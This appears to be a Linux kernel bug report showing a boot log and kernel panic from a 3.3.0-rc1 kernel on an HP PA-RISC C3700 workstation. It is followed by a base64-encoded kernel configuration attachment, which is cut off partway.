
v3.0 gets farther, but then gets into a loop of
__find_get_block_slow() messages like this:

        ...
        md: autorun ...
        md: ... autorun DONE.
        __find_get_block_slow() failed. block=0, b_blocknr=1
        b_state=0x00000020, b_size=4096
        device blocksize: 4096
        __find_get_block_slow() failed. block=0, b_blocknr=1
        ...

Linux version 3.3.0-rc1+ (helgaas@c3700) (gcc version 4.3.2 (Debian 4.3.2-1.1)
 ) #20 Fri Jan 27 19:52:08 MST 2012
unwind_init: start = 0x1054f000, end = 0x105882c0, entries = 14636
WARNING: Out of order unwind entry! 10550250 and 10550260
WARNING: Out of order unwind entry! 10550260 and 10550270
WARNING: Out of order unwind entry! 10550c40 and 10550c50
WARNING: Out of order unwind entry! 10550c50 and 10550c60
WARNING: Out of order unwind entry! 10550c60 and 10550c70
WARNING: Out of order unwind entry! 10550c70 and 10550c80
WARNING: Out of order unwind entry! 10550c90 and 10550ca0
WARNING: Out of order unwind entry! 10550ca0 and 10550cb0
WARNING: Out of order unwind entry! 10550cb0 and 10550cc0
WARNING: Out of order unwind entry! 10550cc0 and 10550cd0
WARNING: Out of order unwind entry! 10550cd0 and 10550ce0
WARNING: Out of order unwind entry! 10550ce0 and 10550cf0
WARNING: Out of order unwind entry! 10550cf0 and 10550d00
WARNING: Out of order unwind entry! 10550d00 and 10550d10
WARNING: Out of order unwind entry! 10550d10 and 10550d20
WARNING: Out of order unwind entry! 10550d20 and 10550d30
WARNING: Out of order unwind entry! 10550d30 and 10550d40
WARNING: Out of order unwind entry! 10550d40 and 10550d50
FP[0] enabled: Rev 1 Model 19
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005dc0 00000481 00000000 00000002 782636b2 100000f0 00000008 000000b2 00
0000b2
vers  00000203
CPUID vers 19 rev 7 (0x00000267)
capabilities 0x7
model 9000/785/C3700
Total Memory: 1024 MB
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 0): Protection id trap (code 7)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  0004ff0e 10100000 10286408 1058c548
r04-07  000186a0 0001869f 1058c5d0 00000000
r08-11  ffffffff 00000000 0000000a 00000000
r12-15  ffffffff 00000011 00000020 105aad90
r16-19  10605000 00000025 1060503c 00000000
r20-23  00040000 0000006c 00000001 00000000
r24-27  00040000 000186a0 00040000 10590000
r28-31  00018000 ffffffff 1058c640 10286028
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101006dc 101006e0
 IIR: 43ffff40    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 1058c000 CR31: 7fffffff
 ORIG_R28: 00000000
 IAOQ[0]: lstrnlen_user+0x1e0/0x146c
 IAOQ[1]: lstrnlen_user+0x1e4/0x146c
 RP(r2): number+0x370/0x390
Backtrace:
 [<10286408>] number+0x370/0x390

Backtrace:
 [<10110b0c>] die_if_kernel+0x10c/0x1b8

---[ end trace 139ce121c98e96c9 ]---
Kernel panic - not syncing: Attempted to kill the idle task!

--f46d04182626291f2d04b7984c05
Content-Type: application/octet-stream; name=".config"
Content-Disposition: attachment; filename=".config"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_gxysr22e0

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIGZpbGU7IERPIE5PVCBFRElULgojIExpbnV4L3Bh
cmlzYyAzLjMuMC1yYzEgS2VybmVsIENvbmZpZ3VyYXRpb24KIwpDT05GSUdfUEFSSVNDPXkKQ09O
RklHX01NVT15CkNPTkZJR19TVEFDS19HUk9XU1VQPXkKQ09ORklHX1JXU0VNX0dFTkVSSUNfU1BJ
TkxPQ0s9eQojIENPTkZJR19BUkNIX0hBU19JTE9HMl9VMzIgaXMgbm90IHNldAojIENPTkZJR19B
UkNIX0hBU19JTE9HMl9VNjQgaXMgbm90IHNldApDT05GSUdfR0VORVJJQ19CVUc9eQpDT05GSUdf
R0VORVJJQ19IV0VJR0hUPXkKQ09ORklHX0dFTkVSSUNfQ0FMSUJSQVRFX0RFTEFZPXkKQ09ORklH
X0hBVkVfTEFURU5DWVRPUF9TVVBQT1JUPXkKQ09ORklHX1NUQUNLVFJBQ0VfU1VQUE9SVD15CkNP
TkZJR19ORUVEX0RNQV9NQVBfU1RBVEU9eQpDT05GSUdfTkVFRF9TR19ETUFfTEVOR1RIPXkKQ09O
RklHX0RFRkNPTkZJR19MSVNUPSIvbGliL21vZHVsZXMvJFVOQU1FX1JFTEVBU0UvLmNvbmZpZyIK
Q09ORklHX0hBVkVfSVJRX1dPUks9eQpDT05GSUdfSVJRX1dPUks9eQoKIwojIEdlbmVyYWwgc2V0
dXAKIwpDT05GSUdfRVhQRVJJTUVOVEFMPXkKQ09ORklHX0JST0tFTl9PTl9TTVA9eQpDT05GSUdf
SU5JVF9FTlZfQVJHX0xJTUlUPTMyCkNPTkZJR19DUk9TU19DT01QSUxFPSIiCkNPTkZJR19MT0NB
TFZFUlNJT049IiIKIyBDT05GSUdfTE9DQUxWRVJTSU9OX0FVVE8gaXMgbm90IHNldApDT05GSUdf
REVGQVVMVF9IT1NUTkFNRT0iKG5vbmUpIgpDT05GSUdfU1dBUD15CkNPTkZJR19TWVNWSVBDPXkK
Q09ORklHX1NZU1ZJUENfU1lTQ1RMPXkKIyBDT05GSUdfUE9TSVhfTVFVRVVFIGlzIG5vdCBzZXQK
IyBDT05GSUdfQlNEX1BST0NFU1NfQUNDVCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZIQU5ETEUgaXMg
bm90IHNldAojIENPTkZJR19UQVNLU1RBVFMgaXMgbm90IHNldAojIENPTkZJR19BVURJVCBpcyBu
b3Qgc2V0CkNPTkZJR19IQVZFX0dFTkVSSUNfSEFSRElSUVM9eQoKIwojIElSUSBzdWJzeXN0ZW0K
IwpDT05GSUdfR0VORVJJQ19IQVJESVJRUz15CkNPTkZJR19HRU5FUklDX0lSUV9QUk9CRT15Cgoj
CiMgUkNVIFN1YnN5c3RlbQojCkNPTkZJR19USU5ZX1JDVT15CiMgQ09ORklHX1BSRUVNUFRfUkNV
IGlzIG5vdCBzZXQKIyBDT05GSUdfUkNVX1RSQUNFIGlzIG5vdCBzZXQKIyBDT05GSUdfVFJFRV9S
Q1VfVFJBQ0UgaXMgbm90IHNldApDT05GSUdfSUtDT05GSUc9eQpDT05GSUdfSUtDT05GSUdfUFJP
Qz15CkNPTkZJR19MT0dfQlVGX1NISUZUPTE2CiMgQ09ORklHX0NHUk9VUFMgaXMgbm90IHNldAoj
IENPTkZJR19DSEVDS1BPSU5UX1JFU1RPUkUgaXMgbm90IHNldAojIENPTkZJR19OQU1FU1BBQ0VT
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NIRURfQVVUT0dST1VQIGlzIG5vdCBzZXQKIyBDT05GSUdf
U1lTRlNfREVQUkVDQVRFRCBpcyBub3Qgc2V0CiMgQ09ORklHX1JFTEFZIGlzIG5vdCBzZXQKIyBD
T05GSUdfQkxLX0RFVl9JTklUUkQgaXMgbm90IHNldAojIENPTkZJR19DQ19PUFRJTUlaRV9GT1Jf
U0laRSBpcyBub3Qgc2V0CkNPTkZJR19TWVNDVEw9eQpDT05GSUdfQU5PTl9JTk9ERVM9eQpDT05G
SUdfRVhQRVJUPXkKIyBDT05GSUdfU1lTQ1RMX1NZU0NBTEwgaXMgbm90IHNldApDT05GSUdfS0FM
TFNZTVM9eQpDT05GSUdfS0FMTFNZTVNfQUxMPXkKQ09ORklHX0hPVFBMVUc9eQpDT05GSUdfUFJJ
TlRLPXkKQ09ORklHX0JVRz15CkNPTkZJR19FTEZfQ09SRT15CkNPTkZJR19CQVNFX0ZVTEw9eQpD
T05GSUdfRlVURVg9eQpDT05GSUdfRVBPTEw9eQpDT05GSUdfU0lHTkFMRkQ9eQpDT05GSUdfVElN
RVJGRD15CkNPTkZJR19FVkVOVEZEPXkKQ09ORklHX1NITUVNPXkKQ09ORklHX0FJTz15CiMgQ09O
RklHX0VNQkVEREVEIGlzIG5vdCBzZXQKQ09ORklHX0hBVkVfUEVSRl9FVkVOVFM9eQoKIwojIEtl
cm5lbCBQZXJmb3JtYW5jZSBFdmVudHMgQW5kIENvdW50ZXJzCiMKQ09ORklHX1BFUkZfRVZFTlRT
PXkKIyBDT05GSUdfUEVSRl9DT1VOVEVSUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1BFUkZf
VVNFX1ZNQUxMT0MgaXMgbm90IHNldApDT05GSUdfVk1fRVZFTlRfQ09VTlRFUlM9eQpDT05GSUdf
UENJX1FVSVJLUz15CkNPTkZJR19DT01QQVRfQlJLPXkKQ09ORklHX1NMQUI9eQojIENPTkZJR19T
TFVCIGlzIG5vdCBzZXQKIyBDT05GSUdfU0xPQiBpcyBub3Qgc2V0CkNPTkZJR19QUk9GSUxJTkc9
eQpDT05GSUdfT1BST0ZJTEU9bQpDT05GSUdfSEFWRV9PUFJPRklMRT15CkNPTkZJR19BUkNIX0hB
VkVfTk1JX1NBRkVfQ01QWENIRz15CgojCiMgR0NPVi1iYXNlZCBrZXJuZWwgcHJvZmlsaW5nCiMK
IyBDT05GSUdfR0NPVl9LRVJORUwgaXMgbm90IHNldAojIENPTkZJR19IQVZFX0dFTkVSSUNfRE1B
X0NPSEVSRU5UIGlzIG5vdCBzZXQKQ09ORklHX1NMQUJJTkZPPXkKQ09ORklHX1JUX01VVEVYRVM9
eQpDT05GSUdfQkFTRV9TTUFMTD0wCkNPTkZJR19NT0RVTEVTPXkKIyBDT05GSUdfTU9EVUxFX0ZP
UkNFX0xPQUQgaXMgbm90IHNldApDT05GSUdfTU9EVUxFX1VOTE9BRD15CkNPTkZJR19NT0RVTEVf
Rk9SQ0VfVU5MT0FEPXkKIyBDT05GSUdfTU9EVkVSU0lPTlMgaXMgbm90IHNldAojIENPTkZJR19N
T0RVTEVfU1JDVkVSU0lPTl9BTEwgaXMgbm90IHNldApDT05GSUdfSU5JVF9BTExfUE9TU0lCTEU9
eQpDT05GSUdfQkxPQ0s9eQpDT05GSUdfTEJEQUY9eQpDT05GSUdfQkxLX0RFVl9CU0c9eQpDT05G
SUdfQkxLX0RFVl9CU0dMSUI9eQojIENPTkZJR19CTEtfREVWX0lOVEVHUklUWSBpcyBub3Qgc2V0
CgojCiMgUGFydGl0aW9uIFR5cGVzCiMKIyBDT05GSUdfUEFSVElUSU9OX0FEVkFOQ0VEIGlzIG5v
dCBzZXQKQ09ORklHX01TRE9TX1BBUlRJVElPTj15CgojCiMgSU8gU2NoZWR1bGVycwojCkNPTkZJ
R19JT1NDSEVEX05PT1A9eQpDT05GSUdfSU9TQ0hFRF9ERUFETElORT15CkNPTkZJR19JT1NDSEVE
X0NGUT15CiMgQ09ORklHX0RFRkFVTFRfREVBRExJTkUgaXMgbm90IHNldApDT05GSUdfREVGQVVM
VF9DRlE9eQojIENPTkZJR19ERUZBVUxUX05PT1AgaXMgbm90IHNldApDT05GSUdfREVGQVVMVF9J
T1NDSEVEPSJjZnEiCiMgQ09ORklHX0lOTElORV9TUElOX1RSWUxPQ0sgaXMgbm90IHNldAojIENP
TkZJR19JTkxJTkVfU1BJTl9UUllMT0NLX0JIIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5MSU5FX1NQ
SU5fTE9DSyBpcyBub3Qgc2V0CiMgQ09ORklHX0lOTElORV9TUElOX0xPQ0tfQkggaXMgbm90IHNl
dAojIENPTkZJR19JTkxJTkVfU1BJTl9MT0NLX0lSUSBpcyBub3Qgc2V0CiMgQ09ORklHX0lOTElO
RV9TUElOX0xPQ0tfSVJRU0FWRSBpcyBub3Qgc2V0CkNPTkZJR19JTkxJTkVfU1BJTl9VTkxPQ0s9
eQojIENPTkZJR19JTkxJTkVfU1BJTl9VTkxPQ0tfQkggaXMgbm90IHNldApDT05GSUdfSU5MSU5F
X1NQSU5fVU5MT0NLX0lSUT15CiMgQ09ORklHX0lOTElORV9TUElOX1VOTE9DS19JUlFSRVNUT1JF
IGlzIG5vdCBzZXQKIyBDT05GSUdfSU5MSU5FX1JFQURfVFJZTE9DSyBpcyBub3Qgc2V0CiMgQ09O
RklHX0lOTElORV9SRUFEX0xPQ0sgaXMgbm90IHNldAojIENPTkZJR19JTkxJTkVfUkVBRF9MT0NL
X0JIIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5MSU5FX1JFQURfTE9DS19JUlEgaXMgbm90IHNldAoj
IENPTkZJR19JTkxJTkVfUkVBRF9MT0NLX0lSUVNBVkUgaXMgbm90IHNldApDT05GSUdfSU5MSU5F
X1JFQURfVU5MT0NLPXkKIyBDT05GSUdfSU5MSU5FX1JFQURfVU5MT0NLX0JIIGlzIG5vdCBzZXQK
Q09ORklHX0lOTElORV9SRUFEX1VOTE9DS19JUlE9eQojIENPTkZJR19JTkxJTkVfUkVBRF9VTkxP
Q0tfSVJRUkVTVE9SRSBpcyBub3Qgc2V0CiMgQ09ORklHX0lOTElORV9XUklURV9UUllMT0NLIGlz
IG5vdCBzZXQKIyBDT05GSUdfSU5MSU5FX1dSSVRFX0xPQ0sgaXMgbm90IHNldAojIENPTkZJR19J
TkxJTkVfV1JJVEVfTE9DS19CSCBpcyBub3Qgc2V0CiMgQ09ORklHX0lOTElORV9XUklURV9MT0NL
X0lSUSBpcyBub3Qgc2V0CiMgQ09ORklHX0lOTElORV9XUklURV9MT0NLX0lSUVNBVkUgaXMgbm90
IHNldApDT05GSUdfSU5MSU5FX1dSSVRFX1VOTE9DSz15CiMgQ09ORklHX0lOTElORV9XUklURV9V
TkxPQ0tfQkggaXMgbm90IHNldApDT05GSUdfSU5MSU5FX1dSSVRFX1VOTE9DS19JUlE9eQojIENP
TkZJR19JTkxJTkVfV1JJVEVfVU5MT0NLX0lSUVJFU1RPUkUgaXMgbm90IHNldAojIENPTkZJR19N
VVRFWF9TUElOX09OX09XTkVSIGlzIG5vdCBzZXQKIyBDT05GSUdfRlJFRVpFUiBpcyBub3Qgc2V0
CgojCiMgUHJvY2Vzc29yIHR5cGUgYW5kIGZlYXR1cmVzCiMKIyBDT05GSUdfUEE3MDAwIGlzIG5v
dCBzZXQKIyBDT05GSUdfUEE3MTAwTEMgaXMgbm90IHNldAojIENPTkZJR19QQTcyMDAgaXMgbm90
IHNldAojIENPTkZJR19QQTczMDBMQyBpcyBub3Qgc2V0CkNPTkZJR19QQThYMDA9eQpDT05GSUdf
UEEyMD15CkNPTkZJR19QUkVGRVRDSD15CiMgQ09ORklHXzY0QklUIGlzIG5vdCBzZXQKQ09ORklH
X1BBUklTQ19QQUdFX1NJWkVfNEtCPXkKIyBDT05GSUdfUEFSSVNDX1BBR0VfU0laRV8xNktCIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEFSSVNDX1BBR0VfU0laRV82NEtCIGlzIG5vdCBzZXQKIyBDT05G
SUdfU01QIGlzIG5vdCBzZXQKQ09ORklHX0FSQ0hfRkxBVE1FTV9FTkFCTEU9eQojIENPTkZJR19Q
UkVFTVBUX05PTkUgaXMgbm90IHNldApDT05GSUdfUFJFRU1QVF9WT0xVTlRBUlk9eQojIENPTkZJ
R19QUkVFTVBUIGlzIG5vdCBzZXQKIyBDT05GSUdfSFpfMTAwIGlzIG5vdCBzZXQKQ09ORklHX0ha
XzI1MD15CiMgQ09ORklHX0haXzMwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0haXzEwMDAgaXMgbm90
IHNldApDT05GSUdfSFo9MjUwCiMgQ09ORklHX1NDSEVEX0hSVElDSyBpcyBub3Qgc2V0CkNPTkZJ
R19TRUxFQ1RfTUVNT1JZX01PREVMPXkKQ09ORklHX0ZMQVRNRU1fTUFOVUFMPXkKQ09ORklHX0ZM
QVRNRU09eQpDT05GSUdfRkxBVF9OT0RFX01FTV9NQVA9eQpDT05GSUdfUEFHRUZMQUdTX0VYVEVO
REVEPXkKQ09ORklHX1NQTElUX1BUTE9DS19DUFVTPTQKIyBDT05GSUdfQ09NUEFDVElPTiBpcyBu
b3Qgc2V0CiMgQ09ORklHX1BIWVNfQUREUl9UXzY0QklUIGlzIG5vdCBzZXQKQ09ORklHX1pPTkVf
RE1BX0ZMQUc9MApDT05GSUdfVklSVF9UT19CVVM9eQojIENPTkZJR19LU00gaXMgbm90IHNldApD
T05GSUdfREVGQVVMVF9NTUFQX01JTl9BRERSPTQwOTYKQ09ORklHX05FRURfUEVSX0NQVV9LTT15
CiMgQ09ORklHX0NMRUFOQ0FDSEUgaXMgbm90IHNldAojIENPTkZJR19IUFVYIGlzIG5vdCBzZXQK
CiMKIyBCdXMgb3B0aW9ucyAoUENJLCBQQ01DSUEsIEVJU0EsIEdTQywgSVNBKQojCiMgQ09ORklH
X0dTQyBpcyBub3Qgc2V0CkNPTkZJR19QQ0k9eQojIENPTkZJR19BUkNIX1NVUFBPUlRTX01TSSBp
cyBub3Qgc2V0CiMgQ09ORklHX1BDSV9ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX1BDSV9TVFVC
IGlzIG5vdCBzZXQKIyBDT05GSUdfUENJX0lPViBpcyBub3Qgc2V0CiMgQ09ORklHX1BDSV9QUkkg
aXMgbm90IHNldAojIENPTkZJR19QQ0lfUEFTSUQgaXMgbm90IHNldApDT05GSUdfUENJX0xCQT15
CkNPTkZJR19JT1NBUElDPXkKQ09ORklHX0lPTU1VX1NCQT15CkNPTkZJR19JT01NVV9IRUxQRVI9
eQojIENPTkZJR19QQ0NBUkQgaXMgbm90IHNldAojIENPTkZJR19IT1RQTFVHX1BDSSBpcyBub3Qg
c2V0CgojCiMgUEEtUklTQyBzcGVjaWZpYyBkcml2ZXJzCiMKQ09ORklHX1NVUEVSSU89eQpDT05G
SUdfQ0hBU1NJU19MQ0RfTEVEPXkKIyBDT05GSUdfUERDX0NIQVNTSVMgaXMgbm90IHNldApDT05G
SUdfUERDX0NIQVNTSVNfV0FSTj15CkNPTkZJR19QRENfU1RBQkxFPXkKCiMKIyBFeGVjdXRhYmxl
IGZpbGUgZm9ybWF0cwojCkNPTkZJR19CSU5GTVRfRUxGPXkKQ09ORklHX0NPUkVfRFVNUF9ERUZB
VUxUX0VMRl9IRUFERVJTPXkKIyBDT05GSUdfSEFWRV9BT1VUIGlzIG5vdCBzZXQKIyBDT05GSUdf
QklORk1UX01JU0MgaXMgbm90IHNldApDT05GSUdfTkVUPXkKCiMKIyBOZXR3b3JraW5nIG9wdGlv
bnMKIwpDT05GSUdfUEFDS0VUPXkKQ09ORklHX1VOSVg9eQojIENPTkZJR19VTklYX0RJQUcgaXMg
bm90IHNldApDT05GSUdfWEZSTT15CkNPTkZJR19YRlJNX1VTRVI9bQojIENPTkZJR19YRlJNX1NV
Ql9QT0xJQ1kgaXMgbm90IHNldAojIENPTkZJR19YRlJNX01JR1JBVEUgaXMgbm90IHNldAojIENP
TkZJR19YRlJNX1NUQVRJU1RJQ1MgaXMgbm90IHNldApDT05GSUdfWEZSTV9JUENPTVA9bQpDT05G
SUdfTkVUX0tFWT1tCiMgQ09ORklHX05FVF9LRVlfTUlHUkFURSBpcyBub3Qgc2V0CkNPTkZJR19J
TkVUPXkKQ09ORklHX0lQX01VTFRJQ0FTVD15CiMgQ09ORklHX0lQX0FEVkFOQ0VEX1JPVVRFUiBp
cyBub3Qgc2V0CkNPTkZJR19JUF9QTlA9eQojIENPTkZJR19JUF9QTlBfREhDUCBpcyBub3Qgc2V0
CkNPTkZJR19JUF9QTlBfQk9PVFA9eQojIENPTkZJR19JUF9QTlBfUkFSUCBpcyBub3Qgc2V0CiMg
Q09ORklHX05FVF9JUElQIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0lQR1JFX0RFTVVYIGlzIG5v
dCBzZXQKIyBDT05GSUdfSVBfTVJPVVRFIGlzIG5vdCBzZXQKIyBDT05GSUdfQVJQRCBpcyBub3Qg
c2V0CiMgQ09ORklHX1NZTl9DT09LSUVTIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9BSCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0lORVRfRVNQIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9JUENPTVAg
aXMgbm90IHNldAojIENPTkZJR19JTkVUX1hGUk1fVFVOTkVMIGlzIG5vdCBzZXQKQ09ORklHX0lO
RVRfVFVOTkVMPW0KQ09ORklHX0lORVRfWEZSTV9NT0RFX1RSQU5TUE9SVD15CkNPTkZJR19JTkVU
X1hGUk1fTU9ERV9UVU5ORUw9eQpDT05GSUdfSU5FVF9YRlJNX01PREVfQkVFVD15CiMgQ09ORklH
X0lORVRfTFJPIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9ESUFHIGlzIG5vdCBzZXQKIyBDT05G
SUdfVENQX0NPTkdfQURWQU5DRUQgaXMgbm90IHNldApDT05GSUdfVENQX0NPTkdfQ1VCSUM9eQpD
T05GSUdfREVGQVVMVF9UQ1BfQ09ORz0iY3ViaWMiCiMgQ09ORklHX1RDUF9NRDVTSUcgaXMgbm90
IHNldApDT05GSUdfSVBWNj1tCiMgQ09ORklHX0lQVjZfUFJJVkFDWSBpcyBub3Qgc2V0CiMgQ09O
RklHX0lQVjZfUk9VVEVSX1BSRUYgaXMgbm90IHNldAojIENPTkZJR19JUFY2X09QVElNSVNUSUNf
REFEIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVDZfQUggaXMgbm90IHNldAojIENPTkZJR19JTkVU
Nl9FU1AgaXMgbm90IHNldApDT05GSUdfSU5FVDZfSVBDT01QPW0KIyBDT05GSUdfSVBWNl9NSVA2
IGlzIG5vdCBzZXQKQ09ORklHX0lORVQ2X1hGUk1fVFVOTkVMPW0KQ09ORklHX0lORVQ2X1RVTk5F
TD1tCkNPTkZJR19JTkVUNl9YRlJNX01PREVfVFJBTlNQT1JUPW0KQ09ORklHX0lORVQ2X1hGUk1f
TU9ERV9UVU5ORUw9bQpDT05GSUdfSU5FVDZfWEZSTV9NT0RFX0JFRVQ9bQojIENPTkZJR19JTkVU
Nl9YRlJNX01PREVfUk9VVEVPUFRJTUlaQVRJT04gaXMgbm90IHNldApDT05GSUdfSVBWNl9TSVQ9
bQojIENPTkZJR19JUFY2X1NJVF82UkQgaXMgbm90IHNldApDT05GSUdfSVBWNl9ORElTQ19OT0RF
VFlQRT15CkNPTkZJR19JUFY2X1RVTk5FTD1tCiMgQ09ORklHX0lQVjZfTVVMVElQTEVfVEFCTEVT
IGlzIG5vdCBzZXQKIyBDT05GSUdfSVBWNl9NUk9VVEUgaXMgbm90IHNldAojIENPTkZJR19ORVRX
T1JLX1NFQ01BUksgaXMgbm90IHNldAojIENPTkZJR19ORVRXT1JLX1BIWV9USU1FU1RBTVBJTkcg
aXMgbm90IHNldApDT05GSUdfTkVURklMVEVSPXkKQ09ORklHX05FVEZJTFRFUl9ERUJVRz15CkNP
TkZJR19ORVRGSUxURVJfQURWQU5DRUQ9eQoKIwojIENvcmUgTmV0ZmlsdGVyIENvbmZpZ3VyYXRp
b24KIwojIENPTkZJR19ORVRGSUxURVJfTkVUTElOS19BQ0NUIGlzIG5vdCBzZXQKIyBDT05GSUdf
TkVURklMVEVSX05FVExJTktfUVVFVUUgaXMgbm90IHNldAojIENPTkZJR19ORVRGSUxURVJfTkVU
TElOS19MT0cgaXMgbm90IHNldAojIENPTkZJR19ORl9DT05OVFJBQ0sgaXMgbm90IHNldAojIENP
TkZJR19ORVRGSUxURVJfWFRBQkxFUyBpcyBub3Qgc2V0CiMgQ09ORklHX0lQX1ZTIGlzIG5vdCBz
ZXQKCiMKIyBJUDogTmV0ZmlsdGVyIENvbmZpZ3VyYXRpb24KIwojIENPTkZJR19ORl9ERUZSQUdf
SVBWNCBpcyBub3Qgc2V0CkNPTkZJR19JUF9ORl9RVUVVRT1tCiMgQ09ORklHX0lQX05GX0lQVEFC
TEVTIGlzIG5vdCBzZXQKIyBDT05GSUdfSVBfTkZfQVJQVEFCTEVTIGlzIG5vdCBzZXQKCiMKIyBJ
UHY2OiBOZXRmaWx0ZXIgQ29uZmlndXJhdGlvbgojCiMgQ09ORklHX05GX0RFRlJBR19JUFY2IGlz
IG5vdCBzZXQKIyBDT05GSUdfSVA2X05GX1FVRVVFIGlzIG5vdCBzZXQKIyBDT05GSUdfSVA2X05G
X0lQVEFCTEVTIGlzIG5vdCBzZXQKIyBDT05GSUdfSVBfRENDUCBpcyBub3Qgc2V0CiMgQ09ORklH
X0lQX1NDVFAgaXMgbm90IHNldAojIENPTkZJR19SRFMgaXMgbm90IHNldAojIENPTkZJR19USVBD
IGlzIG5vdCBzZXQKIyBDT05GSUdfQVRNIGlzIG5vdCBzZXQKIyBDT05GSUdfTDJUUCBpcyBub3Qg
c2V0CiMgQ09ORklHX0JSSURHRSBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9EU0EgaXMgbm90IHNl
dAojIENPTkZJR19WTEFOXzgwMjFRIGlzIG5vdCBzZXQKIyBDT05GSUdfREVDTkVUIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTExDMiBpcyBub3Qgc2V0CiMgQ09ORklHX0lQWCBpcyBub3Qgc2V0CiMgQ09O
RklHX0FUQUxLIGlzIG5vdCBzZXQKIyBDT05GSUdfWDI1IGlzIG5vdCBzZXQKIyBDT05GSUdfTEFQ
QiBpcyBub3Qgc2V0CiMgQ09ORklHX0VDT05FVCBpcyBub3Qgc2V0CiMgQ09ORklHX1dBTl9ST1VU
RVIgaXMgbm90IHNldAojIENPTkZJR19QSE9ORVQgaXMgbm90IHNldAojIENPTkZJR19JRUVFODAy
MTU0IGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1NDSEVEIGlzIG5vdCBzZXQKIyBDT05GSUdfRENC
IGlzIG5vdCBzZXQKIyBDT05GSUdfQkFUTUFOX0FEViBpcyBub3Qgc2V0CiMgQ09ORklHX09QRU5W
U1dJVENIIGlzIG5vdCBzZXQKQ09ORklHX0JRTD15CgojCiMgTmV0d29yayB0ZXN0aW5nCiMKQ09O
RklHX05FVF9QS1RHRU49bQojIENPTkZJR19IQU1SQURJTyBpcyBub3Qgc2V0CiMgQ09ORklHX0NB
TiBpcyBub3Qgc2V0CiMgQ09ORklHX0lSREEgaXMgbm90IHNldAojIENPTkZJR19CVCBpcyBub3Qg
c2V0CiMgQ09ORklHX0FGX1JYUlBDIGlzIG5vdCBzZXQKQ09ORklHX1dJUkVMRVNTPXkKIyBDT05G
SUdfQ0ZHODAyMTEgaXMgbm90IHNldAojIENPTkZJR19MSUI4MDIxMSBpcyBub3Qgc2V0CgojCiMg
Q0ZHODAyMTEgbmVlZHMgdG8gYmUgZW5hYmxlZCBmb3IgTUFDODAyMTEKIwojIENPTkZJR19XSU1B
WCBpcyBub3Qgc2V0CiMgQ09ORklHX1JGS0lMTCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF85UCBp
cyBub3Qgc2V0CiMgQ09ORklHX0NBSUYgaXMgbm90IHNldAojIENPTkZJR19DRVBIX0xJQiBpcyBu
b3Qgc2V0CiMgQ09ORklHX05GQyBpcyBub3Qgc2V0CgojCiMgRGV2aWNlIERyaXZlcnMKIwoKIwoj
IEdlbmVyaWMgRHJpdmVyIE9wdGlvbnMKIwpDT05GSUdfVUVWRU5UX0hFTFBFUl9QQVRIPSIvc2Jp
bi9ob3RwbHVnIgojIENPTkZJR19ERVZUTVBGUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NUQU5EQUxP
TkUgaXMgbm90IHNldAojIENPTkZJR19QUkVWRU5UX0ZJUk1XQVJFX0JVSUxEIGlzIG5vdCBzZXQK
Q09ORklHX0ZXX0xPQURFUj15CkNPTkZJR19GSVJNV0FSRV9JTl9LRVJORUw9eQpDT05GSUdfRVhU
UkFfRklSTVdBUkU9IiIKIyBDT05GSUdfREVCVUdfRFJJVkVSIGlzIG5vdCBzZXQKIyBDT05GSUdf
REVCVUdfREVWUkVTIGlzIG5vdCBzZXQKIyBDT05GSUdfU1lTX0hZUEVSVklTT1IgaXMgbm90IHNl
dAojIENPTkZJR19HRU5FUklDX0NQVV9ERVZJQ0VTIGlzIG5vdCBzZXQKIyBDT05GSUdfRE1BX1NI
QVJFRF9CVUZGRVIgaXMgbm90IHNldAojIENPTkZJR19DT05ORUNUT1IgaXMgbm90IHNldAojIENP
TkZJR19NVEQgaXMgbm90IHNldAojIENPTkZJR19QQVJQT1JUIGlzIG5vdCBzZXQKQ09ORklHX0JM
S19ERVY9eQojIENPTkZJR19CTEtfQ1BRX0RBIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0NQUV9D
SVNTX0RBIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9EQUM5NjAgaXMgbm90IHNldApDT05G
SUdfQkxLX0RFVl9VTUVNPW0KIyBDT05GSUdfQkxLX0RFVl9DT1dfQ09NTU9OIGlzIG5vdCBzZXQK
Q09ORklHX0JMS19ERVZfTE9PUD15CkNPTkZJR19CTEtfREVWX0xPT1BfTUlOX0NPVU5UPTgKQ09O
RklHX0JMS19ERVZfQ1JZUFRPTE9PUD1tCgojCiMgRFJCRCBkaXNhYmxlZCBiZWNhdXNlIFBST0Nf
RlMsIElORVQgb3IgQ09OTkVDVE9SIG5vdCBzZWxlY3RlZAojCiMgQ09ORklHX0JMS19ERVZfTkJE
IGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9OVk1FIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxL
